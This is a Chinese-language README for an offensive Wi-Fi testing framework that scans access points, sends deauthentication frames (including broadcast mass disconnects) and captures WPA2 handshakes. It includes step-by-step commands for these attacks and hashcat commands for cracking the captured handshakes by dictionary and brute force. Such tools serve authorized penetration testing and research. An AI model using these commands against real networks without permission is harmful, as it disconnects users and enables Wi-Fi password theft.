AliAkgun0/wifi-security-framework

# 🛡️ Wi-Fi 安全测试框架 ## 📋 目录 - [概述](#-overview) - [功能](#-features) - [架构](#-architecture) - [环境要求](#-requirements) - [安装](#-installation) - [快速开始](#-quick-start) - [使用示例](#-usage-examples) - [高级功能](#-advanced-features) - [项目结构](#-project-structure) - [技术细节](#-technical-details) - [疑难解答](#-troubleshooting) - [贡献](#-contributing) - [法律免责声明](#-legal-disclaimer) - [许可证](#-license) - [鸣谢](#-credits) ## 🎯 概述 该框架提供了一个完整的无线安全评估工具包，将**被动侦察**、**实时数据包捕获**、**取消认证攻击**和**WPA/WPA2 握手捕获**结合在一个内聚的 pipeline 中。专为企业级可靠性而构建，具备自主驱动恢复、线程安全的操作以及全面的错误处理功能。 ### 独特之处 - **零 Shell 依赖**：通过 `pyroute2` RTNL/nl80211 API 直接与内核交互（不需要 `iw`、`airmon-ng`、`ifconfig`） - **实时数据包处理**：Scapy `AsyncSniffer` 与进程内 802.11 帧解析（无需 CSV 文件，无需 airodump-ng） - **内核看门狗**：通过 debugfs + RTNL 事件监控，实现自主检测驱动 panic 并恢复 - **生产就绪**：线程安全、无内存泄漏，在硬件故障时能优雅降级 - **攻击能力**：精确的取消认证（双重欺骗 + EAPOL 握手捕获） ## ✨ 功能 ### 🔍 侦察阶段 - **实时 AP 发现**：实时 802.11 信标/探测响应解析 - **详细的网络情报**：BSSID、ESSID、信道、加密方式（WPA2/WPA3/WEP/OPEN）、信号强度、频率 - **隐藏网络检测**：捕获不广播 SSID 的网络 - **并发监控**：带有进度更新的非阻塞捕获 ### ⚔️ 攻击阶段 - **精确的取消认证**：双重欺骗（AP→Client + Client→AP）以绕过基本保护 - **广播目标**：批量断开连接模式（`FF:FF:FF:FF:FF:FF`） - **EAPOL 握手捕获**：实时四路握手提取，并增量写入 `.pcap` - **抗崩溃**：在捕获期间能在驱动重置中存活（每帧后同步刷新） - **自动目标选择**：自动选择信号最强的加密 AP 或显式指定 BSSID 目标 ### 🛠️ 基础设施 - **内核看门狗**：监控 debugfs 计数器 + RTNL 链接事件 → 通过 `modprobe -r/modprobe` 自动恢复 - **线程安全的日志记录**：双重检查锁定、基于会话的文件处理器、DEBUG + INFO 流 - **进程组管理**：使用 `start_new_session=True` + `killpg` 进行干净终止 - **优雅的清理**：即使在遇到 `KeyboardInterrupt` 或崩溃时也能恢复接口 ## 🏗️ 架构 ``` ┌─────────────────────────────────────────────────────────────────────┐ │ main.py (CLI Entry Point) │ │ argparse + orchestrator │ └────────────────────────────┬────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ core/orchestrator.py (Pipeline) │ │ ┌───────────────────────────────────────────────────────────────┐ │ │ │ Phase 1: Observability → kernel_watchdog.start() │ │ │ │ Phase 2: Control Plane → netlink_ctrl.enable_monitor_mode() │ │ │ │ Phase 3: Data Plane → capture_engine.stream() │ │ │ │ Phase 4: Offensive → injector + eapol_capture │ │ │ │ Cleanup: Restore → netlink_ctrl.disable_monitor_mode() │ │ │ └───────────────────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘ │ ┌────────────────────┼────────────────────┐ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌─────────────────┐ │ netlink_ctrl │ │ capture_engine │ │ kernel_watchdog │ │ (pyroute2) │ │ (Scapy) │ │ (debugfs/RTNL) │ ├──────────────┤ ├──────────────────┤ ├─────────────────┤ │ • RTNL link │ │ • AsyncSniffer │ │ • DebugFS poll │ │ • nl80211 │ │ • 802.11 parser │ │ • RTNL monitor │ │ • iftype set │ │ • AP extraction │ │ • Auto-recovery │ └──────────────┘ └──────────────────┘ └─────────────────┘ │ ┌────────────────────┼────────────────────┐ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌─────────────────┐ │ injector │ │ eapol_capture │ │ logger │ │ (Deauth Tx) │ │ (Handshake Rx) │ │ (Thread-safe) │ ├──────────────┤ ├──────────────────┤ ├─────────────────┤ │ • Dual-spoof │ │ • BPF filter │ │ • Session file │ │ • Broadcast │ │ • PcapWriter │ │ • Console INFO │ │ • Tx pacing │ │ • sync=True │ │ • DEBUG to disk │ └──────────────┘ └──────────────────┘ └─────────────────┘ ``` ### 四阶段 Pipeline 1. **启动可观测性**：内核看门狗生成 daemon 线程（debugfs + RTNL 监控） 2. **监控模式切换**：RTNL/nl80211 将接口类型设置为 `monitor` 并启动 link 3. **AP 发现**：AsyncSniffer 捕获信标/探测响应 → 实时解析 4. **攻击操作**（可选）：注入 Deauth + EAPOL 握手捕获，并实现 Tx/Rx 同步 5. **清理**：将接口恢复到 `managed` 模式，停止看门狗，刷新日志 ## 📦 环境要求 | 组件 | 要求 | |-----------|-------------| | **操作系统** | Linux (内核 ≥ 4.4) | | **Python** | 3.10 或更高版本 | | **权限** | Root / sudo（硬件操作） | | **驱动栈** | mac80211（支持监控模式） | 您的 Wi-Fi 适配器**必须**支持真正的监控模式（`ARPHRD_IEEE80211_RADIOTAP`）。 **验证监控模式能力：** ``` sudo iw dev wlan0 set type monitor iw dev wlan0 info | grep type # Should show "monitor" ``` | 驱动 | 芯片组 | 注入支持 | |--------|----------|-------------------| | **ath9k** | AR9271, AR9280, AR9285, AR9287 | ✅ 极佳 | | **ath10k** | QCA9377, QCA6174, QCA9887 | ✅ 良好 | | **mt76** | MT7612U, MT7610U, MT7921 | ✅ 良好 | | **rtw88** | RTL8822BE, RTL8821CE | ⚠️ 有限 | | **rtl8812au** | RTL8812AU, RTL8814AU (DKMS) | ✅ 极佳 | ``` # 核心 dependencies pip install pyroute2 scapy # Optional（用于开发） pip install pytest black mypy ``` ``` # Debian / Ubuntu / Kali Linux sudo apt update sudo apt install iw iproute2 python3-pip # Arch Linux sudo pacman -S iw iproute2 python-pip # Fedora / RHEL sudo dnf install iw iproute python3-pip ``` ## 🚀 安装 ### 标准安装 ``` # 1. Clone 仓库 git clone https://github.com/AliAkgun0/wifi-security-framework cd wifi-security-framework # 2. 安装 Python dependencies pip3 install -r requirements.txt # 3. 验证安装 sudo python3 main.py --help ``` ### 虚拟环境（推荐） ``` # 创建隔离的 Python 环境 python3 -m venv .venv source .venv/bin/activate # 安装 dependencies pip install -r requirements.txt # 验证 python3 main.py --help ``` ### 部署前检查 ``` # 1. 验证 root 访问权限 sudo whoami # Should print "root" # 2. 检查 rfkill 状态 rfkill list all # 如果 "Soft blocked: yes" → 运行：rfkill unblock wifi # 如果 "Hard blocked: yes" → 通过硬件开关/BIOS 启用 Wi-Fi # 3. 验证对 monitor mode 的支持 sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up iw dev wlan0 info # type: monitor # 4. 恢复至 managed mode sudo ip link set wlan0 down sudo iw dev wlan0 set type managed sudo ip link set wlan0 up ``` ### 驱动优化（可选） 对于 **ath9k/ath10k** 芯片组，禁用硬件加密： ``` echo "options ath9k nohwcrypt=1" | sudo tee /etc/modprobe.d/ath9k.conf sudo modprobe -r ath9k sudo modprobe ath9k ``` ## ⚡ 快速开始 ### 基础侦察 ``` # 扫描 Wi-Fi 网络（15 秒） sudo python3 main.py wlan0 # 自定义扫描时长 sudo python3 main.py wlan0 --scan-time 30 ``` ### 攻击操作 ``` # 自动定位信号最强的加密 AP sudo python3 main.py wlan0 --exploit # Target 特定的 BSSID sudo python3 main.py wlan0 --exploit --target AA:BB:CC:DD:EE:FF # 高级参数 sudo python3 main.py wlan0 --exploit --target AA:BB:CC:DD:EE:FF --deauth-count 128 --handshake-timeout 45 ``` ## 📚 使用示例 ### 示例 1：网络发现 ``` sudo python3 main.py wlan0 --scan-time 30 ``` **输出：** ``` [INFO] AP | bssid=AA:BB:CC:DD:EE:FF ch=6 enc=WPA2 rssi=-42 dBm essid=HomeNetwork [INFO] AP | bssid=11:22:33:44:55:66 ch=11 enc=WPA3-SAE rssi=-58 dBm essid=Neighbor5G [INFO] Discovery complete - 2 access point(s) found ``` ### 示例 2：握手捕获 ``` sudo python3 main.py wlan0 --exploit --target AA:BB:CC:DD:EE:FF ``` **输出：** ``` [Phase 4] Starting EAPOL capture (pre-injection) [Phase 4] Launching deauth injection burst [Phase 4] Injection complete | frames=128 duration=6.40s [Phase 4] EAPOL frame captured | total=4 [Phase 4] SUCCESS | Handshake captured | pcap=./reports/handshake_AABBCCDDEEFF_20260608_211543.pcap ``` ### 示例 3：使用 hashcat 破解 ``` # 将 PCAP 转换为 hashcat 格式 hcxpcapngtool -o hash.hc22000 reports/handshake_*.pcap # Dictionary attack hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt # Brute force hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d ``` ## 🔧 高级功能 ### 内核看门狗 通过 debugfs + RTNL link 事件监控驱动健康状态。在以下情况自动恢复： - Tx 队列卡死 - 硬件扫描超时 - 接口掉线事件 ``` # Enable watchdog（默认） sudo python3 main.py wlan0 --exploit # Disable watchdog（仅用于 debugging） sudo python3 main.py wlan0 --exploit --no-watchdog ``` ### 独立测试 ``` # 仅测试 injection sudo python3 test_offensive.py --mode inject --iface wlan0mon --target AA:BB:CC:DD:EE:FF # 仅测试 EAPOL capture sudo python3 test_offensive.py --mode capture --iface wlan0mon --target AA:BB:CC:DD:EE:FF # 测试完整 exploit 周期 sudo python3 test_offensive.py --mode exploit --iface wlan0mon --target AA:BB:CC:DD:EE:FF ``` ## 📂 项目结构 ``` wifi-security-framework/ ├── 📄 main.py # CLI entry point (argparse) ├── 🧪 test_offensive.py # Standalone test harness ├── 📋 requirements.txt # Python dependencies ├── 📜 LICENSE # Educational & Authorized Testing License │ ├── 🔧 core/ # Core modules │ ├── orchestrator.py # Pipeline coordinator (4 phases) │ ├── netlink_ctrl.py # RTNL/nl80211 interface control │ ├── capture_engine.py # Scapy AsyncSniffer + 802.11 parser │ ├── kernel_watchdog.py # DebugFS/RTNL health monitor │ ├── injector.py # Deauth packet forging (Scapy) │ ├── eapol_capture.py # WPA handshake capture │ ├── executor.py # Subprocess manager (legacy) │ ├── parser.py # IPC protocol parser (legacy) │ └── logger.py # Thread-safe logging factory │ ├── 📜 modules/ # Legacy BASH wrappers (compatibility) │ ├── monitor_mode.sh # Calls netlink_ctrl │ ├── discovery.sh # Calls capture_engine │ └── cleanup.sh # Calls netlink_ctrl │ ├── 📊 logs/ # Session logs (auto-created) └── 📦 reports/ # Captured handshakes (auto-created) ``` ## 🔬 技术细节 ### 线程安全 - **Logger**：在创建 handler 时进行双重检查锁定 - **Injector**：内部锁序列化 `sendp()` 调用 - **EAPOL 捕获**：PcapWriter 锁防止竞态条件 - **AsyncSniffer**：`store=False` 防止内存泄漏 ### 同步策略（攻击阶段） ``` t=0s → EAPOL capture starts (background thread) t=2s → Sniffer ready (grace period) t=2s → Deauth injection begins t=8s → Injection complete (128 frames @ 0.1s interval) t=8-38s → Handshake capture window (30s timeout) t=38s → EAPOL capture stops, pcap flushed ``` ### 驱动保护 - **Tx 队列保护**：最小 0.1 秒的帧间隔 - **崩溃恢复**：看门狗检测到 panic → `modprobe -r/modprobe` - **数据持久性**：`PcapWriter(sync=True)` → 立即刷新到磁盘 ### 内存安全 - `AsyncSniffer(store=False)` → 无数据包累积 - 基于生成器的流式传输 → 内存占用恒定 - Daemon 线程 → 退出时自动清理 ## 🐛 疑难解答 ### 问题："No EAPOL frames captured" **可能的原因：** 1. **目标 AP 上没有活跃的 client** # 在攻击前验证 client 是否存在 sudo airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF --channel 6 2. **仅限 WPA3-SAE 网络**（没有 WPA2 回退机制） - 此工具仅捕获 WPA2 四路握手 - WPA3-SAE 使用不同的认证帧 3. **启用了 PMF（受保护的管理帧）** - Deauth 攻击被 IEEE 802.11w 阻止 - 尝试将没有 PMF 的旧 AP 作为目标 4. **注入不起作用** # 测试注入能力 sudo aireplay-ng --test wlan0mon ### 问题："Monitor mode failed" ``` # 检查 interface 是否存在 ip link show wlan0 # 检查是否已在使用中 sudo airmon-ng check kill # Stops conflicting processes # 手动 monitor mode sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up ``` ### 问题："Permission denied" ``` # 验证 root 访问权限 sudo whoami # Must output "root" # 使用 sudo 运行 sudo python3 main.py wlan0 --exploit # 或者切换到 root shell sudo -i cd /path/to/wifi-security-framework python3 main.py wlan0 --exploit ``` ### 问题："Interface not found after watchdog recovery" 这是预期内的行为。看门狗会重新加载驱动程序（`modprobe -r/modprobe`），这会重新创建接口。框架会自动处理此问题。 ### 问题："Driver panic / system freeze" **对于 ath9k：** ``` echo "options ath9k nohwcrypt=1" | sudo tee /etc/modprobe.d/ath9k.conf sudo modprobe -r ath9k && sudo modprobe ath9k ``` **对于 rtl88xx：** - 将 `--deauth-count` 减少到 32 - 增加间隔（需要修改代码） ### 问题："Low handshake capture success rate" **改进方法：** 1. **更强的信号**：靠近 AP（目标 RSSI > -60 dBm） 2. **更多的 deauth 帧**：`--deauth-count 128` 3. **更长的超时时间**：`--handshake-timeout 45.0` 4. **验证活跃的 client**：使用 `airodump-ng` 确认 client 存在 5. **检查信道**：确保接口在正确的信道上 ## 🤝 贡献 欢迎贡献！请遵循以下准则： ### 报告 Bug 提交 issue 并附带： - **操作系统和内核版本**：`uname -a` - **Wi-Fi 芯片组**：`lspci | grep -i wireless` 或 `lsusb | grep -i wireless` - **驱动程序**：`lsmod | grep -E "ath|rtw|mt76"` - **完整的错误日志**：附加 `logs/*_session.log` ### Pull Requests 1. Fork 本仓库 2. 创建功能分支：`git checkout -b feature/amazing-feature` 3. 遵循现有的代码风格（PEP 8，type hints） 4. 如果适用，添加测试 5. 更新文档 6. 提交包含详细描述的 PR ### 开发环境设置 ``` # 安装 dev dependencies pip install -r requirements-dev.txt # (if exists) # 运行 tests pytest tests/ # 代码格式化 black core/ main.py test_offensive.py # Type checking mypy core/ main.py ``` ## ⚖️ 法律免责声明 ### **⚠️ 关键：使用前请阅读** 此框架**专门**设计用于： ### **🚫 未经授权的使用是非法的** ### **⚖️ 法律框架** 未经授权的使用可能违反：

🇺🇸 美国	Computer Fraud and Abuse Act (CFAA) 18 U.S.C. § 1030
🇪🇺 欧盟	Directive 2013/40/EU (针对信息系统的攻击)
🇬🇧 英国	Computer Misuse Act 1990
🌍 国际	Council of Europe Convention on Cybercrime (udapest Convention)

**违反这些法律可能导致：** - 🚔 刑事起诉和重罪指控 - ⚖️ 民事责任和巨额赔偿 - 🔓 监禁（在严重情况下可达 20 年以上） - 💰 巨额罚款和处罚 - 📋 永久的犯罪记录 ### **✅ 负责任的使用要求** 在使用此工具之前，您**必须**： 1. **📝 获得书面授权**：网络/系统所有者的明确书面许可 2. **🎯 定义测试范围**：明确记录可以测试和不能测试的内容 3. **📊 记录所有活动**：保留详细的日志以备问责 4. **🔒 遵循专业标准**：遵守 PTES、OWASP、NIST 指南 5. **🤝 实践负责任的披露**：通过正确的渠道报告发现 ### **⚠️ 用户责任** **您承担所有法律责任。** 作者和贡献者： - **不**授权非法或未经授权的使用 - 对本软件的任何滥用**不负**责任 - “按原样”提供此工具，不提供任何担保 **使用本软件即表示您已阅读并理解 [LICENSE](LICENSE) 文件，并同意受其条款约束。** ## 📜 许可证 本项目基于**教育与授权安全测试许可证**授权。 ### **许可证摘要** ### **关键说明** **✅ 您可以：** - 在获得适当授权的情况下，将此工具作为专业渗透测试服务的一部分使用 - 使用此工具的发现向客户提供安全评估报告 - 从内部使用此工具的安全服务中获取收入 **❌ 您不可以：** - 将软件本身出售或许可给客户或第三方 - 将软件整合到商业产品或服务中 - 作为 SaaS/PaaS 产品的一部分分发本软件 - 将软件提供给客户直接使用 **区别在于：** 您出售的是您的**专业知识和交付成果**，而不是**软件本身**。 ### **完整的许可证文本** 完整的许可证条款可以在 **[LICENSE](LICENSE)** 文件中找到。 **关键部分包括：** - 允许和禁止用途的详细定义 - 专业安全服务说明 - 免责声明和责任限制 - 用户义务和赔偿 - 出口合规和司法管辖规定 **💡 如有商业许可查询或关于允许用途的问题，请联系版权所有者。** ## 🏆 鸣谢 ⚖️ 法律免责声明 重要通知：开发者（作者）对因本框架或提供的技术文档造成的任何滥用、损害或法律后果不承担任何责任。本项目的开发严格仅用于教育目的、授权渗透测试和安全研究，以评估和加强无线网络防御机制（WIDS/WIPS/PMF）。 用户责任：未经所有者明确书面授权，使用此工具或信息对网络执行的任何操作，其风险完全由您自行承担，并可能违反地方和国际网络犯罪法律。 担保免责声明：本软件“按原样”提供，不提供任何形式的担保。作者不对任何硬件故障、驱动 panic、数据丢失或系统不稳定承担责任。 使用本软件或参考此文档，即表示您完全承认并接受对您行为的所有法律责任。 ## 🌟 Star 历史 如果这个项目对您有帮助，请考虑在 GitHub 上给它一个 ⭐！

标签：Netlink, Python, Scapy, Wi-Fi安全测试, 密码管理, 插件系统, 无后门, 无线网络审计, 逆向工具